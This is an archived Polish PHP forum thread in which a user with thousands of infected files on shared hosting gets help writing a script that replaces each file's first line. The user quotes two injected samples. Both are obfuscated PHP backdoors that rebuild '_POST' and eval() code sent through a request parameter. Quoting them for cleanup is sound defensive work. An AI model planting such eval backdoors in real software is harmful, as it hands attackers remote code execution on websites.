Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: Masowe usunięcie pierwszej lini w pliku PHP - możliwe?
Forum PHP.pl > Forum > PHP
emantuch
Witam, opadłem dzis z sił dlatego piszę tutaj,

oczywiście jeden z popularnych hostingów Polskich ma nawał wirusów i też padłem ofiarą.

Mam tysiące zainfekowanych plików, wtym tych potrzebnych do życia moim stronom .
Infekcja objawia się na dopisaniu do plików do 1 linii zaraz po <?php kawałka kodu.
Jak na złość każdy jest inny, i nie mogę go zrobić przez SSH, ponieważ wyszuka mi jeden plik.

Pomyślałem że może napisać skrypt który otworzył by wszystkie pliki (listę plików mam w pliku txt)
i zamieniłby pierwszą linię kody <?php <kod wirusa>
na samo <?php


Tylko za cholere niestety nie wiem jak się do tego zabrać, pomoże "któś cuś" ?
Bo na ten moment wiążę już sobie pętle...
kapslokk
file_get_contents zeby otworzyc plik,
str_replace / preg_replace zeby usunąć kod którego chcesz się pozbyć
file_put_contents zeby zapisać plik

W razie problemów pisz.
emantuch
Cytat(kapslokk @ 11.03.2016, 18:50:10 ) *
file_get_contents zeby otworzyc plik,
str_replace / preg_replace zeby usunąć kod którego chcesz się pozbyć
file_put_contents zeby zapisać plik

W razie problemów pisz.



Ta tylko wyrażenie regularne w tym przypadku to jeszcze większa kombinacja..

jest zainfekowanych 8 tysięcy plików.

1 jednym pliku jest tak:
$kcqw0 = "posetru_"; $zcvk82=$kcqw0[2]. $kcqw0[4]. $kcqw0[5]. $kcqw0[4]. $kcqw0[1].$kcqw0[6].$kcqw0[0]. $kcqw0[0]. $kcqw0[3].$kcqw0[5];$yzz8 =$zcvk82 ( $kcqw0[7]. $kcqw0[0].$kcqw0[1].$kcqw0[2]. $kcqw0[4]) ;if( isset (${$yzz8 } ['qe91e7a'] ) ){eval (${$yzz8} ['qe91e7a' ] ) ; }?>

w 2 pliku jest tak:
<?php $npwu79 ="_tpos";$esz7 =strtoupper ($npwu79[0]. $npwu79[2] . $npwu79[3]. $npwu79[4].$npwu79[1]);if ( isset(${ $esz7 }[ 'qd335c3'] ) ){eval(${$esz7 }['qd335c3' ] );}?>

W każdym praktycznie inaczej, wydaje mi się że wyrażenie do tego jest ciężkie do stworzenia dlatego pomyślałem że podmianka 1 lini byłaby najlepsza ... /najłatwiejsza
kapslokk

No to może:
  1. <?php
  2. $file = file("plik.php");
  3. $file[0] = "<?php";
  4. file_put_contents("plik.php", join("\n", $file));
emantuch
Nie chce nadużywać Twojej uprzejmości, ale jakbyś może mógł, j

jak to działa? biggrin.gif
kapslokk
file() wczytuje plik jako tablice - jeden element tablicy to jedna linijka z pliku. Pierwszą linijkę zastępujesz, a później zapisujesz do pliku wynik działania funkcji join() z tej tablicy - join tworzy string z tablicy łącząc jej elementy znakiem, który podasz jako pierwszy argument - w tym przypadku jest to \n czyli znak końca linii
emantuch
Warning: file_put_contents() expects parameter 1 to be string, array given in <sciecha>/test.php on line 4

Wywala mi błąd niestety..


EDIT - zrobiłem drobną modyfikacje ... i dlatego, świetnie ! działa! dzięki!!!!!!

jednak się nie wieszam wtedy biggrin.gif
Pyton_000
@kapslokk \n nie jest wymagane (a nawet nie potrzebne) ponieważ file wczyta linijki z \n, tak więc po zastosowaniu dodatkowego \n....
kapslokk
Nie wiedziałem nawet, dzięki smile.gif zapamiętam smile.gif
emantuch
Panowie,śmieszna jakaś sytuacja wyszła...
zrobiłem sobie hurtowo i dziwny eekt to dało,

bo duplikują się pliki i mają taką samą nazwę...

np. edytujac plik.php
tworzy się nowy plik plik.php
ale przy tym zostaje stary plik.php

Czyli... w pliku plik.php nie edytuje się pierwsza linia, ale.. tworzy się nowy taki sam plik plik.php ale tylko z pierwszą linią <?php


NIe rozumiem takiej sytuacji wcale


Mój kod to :

  1. <?php
  2. $plik = file("files.txt");
  3. echo '<pre>';
  4. print_r($plik);
  5. echo '</pre>';
  6.  
  7. $ile = count($plik);
  8. for ($i=0;$i<$ile;$i++) {
  9. $plik1 = $plik[$i];
  10. $plik2 = $plik[$i];
  11.  
  12. $sprawdz = explode('/',$plik1);
  13. $dalej = end($sprawdz);
  14. $dalej2 = explode('.',$dalej);
  15. $c = end($dalej2);
  16. echo "To plik o rozszerzeniu: ".$c.'<br><br>';
  17. if ($c == 'php' OR $c == 'suspected') {
  18. $file = file("$plik1");
  19. $file[0] = "<?php";
  20. file_put_contents($plik2, join("\n", $file));
  21. }
  22. }
  23.  
  24.  
  25.  
  26.  
  27.  
  28. ?>
kapslokk
Pokaż kod.
@edit
może spróbuj
  1. file_put_contents(trim($plik2), join($file));
emantuch


TO nie jest pusty znak - zobacz sam,

Albo może był...
dałem wszędzie trim i chyba ok. jeszcze się upewnię.

Ale dzięki wielkie!


Zastanawia mnie tylko..
jeżeli:
$plik1 = $plik[$i];
$plik2 = $plik[$i];

to jest to samo, no nie? A więc czemu mogłaby wyjść różnica ?
kapslokk
Nie chce wyjsc na jakiegos oszołoma, ale obstawiam, że to wina windowsa biggrin.gif
emantuch
Haha biggrin.gif
W teorii wydaje się to nie możliwe, bo cały proces wykonywany jest na Linuxie , tylko plik ze skryptem zapisany na Windows, ale za to a Atomie, a nie notatniku
więc dlatego się zastanawiam, o co to chodzi....

Ważne że działa, nie wnikam w to biggrin.gif

Dzięki raz jeszcze


edit

Magiczne "ls" pokazało że na końcu tych duplikatów był " ? " - znak zapytania..
ciekawe.. nie kumam tego jeszcze bardziej.
plik oryginalny: plik.php a ten podmieniany plik.php?
Pyton_000
Zacytuję sam siebie...
Cytat(Pyton_000 @ 11.03.2016, 19:23:09 ) *
... ponieważ file wczyta linijki z \n
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.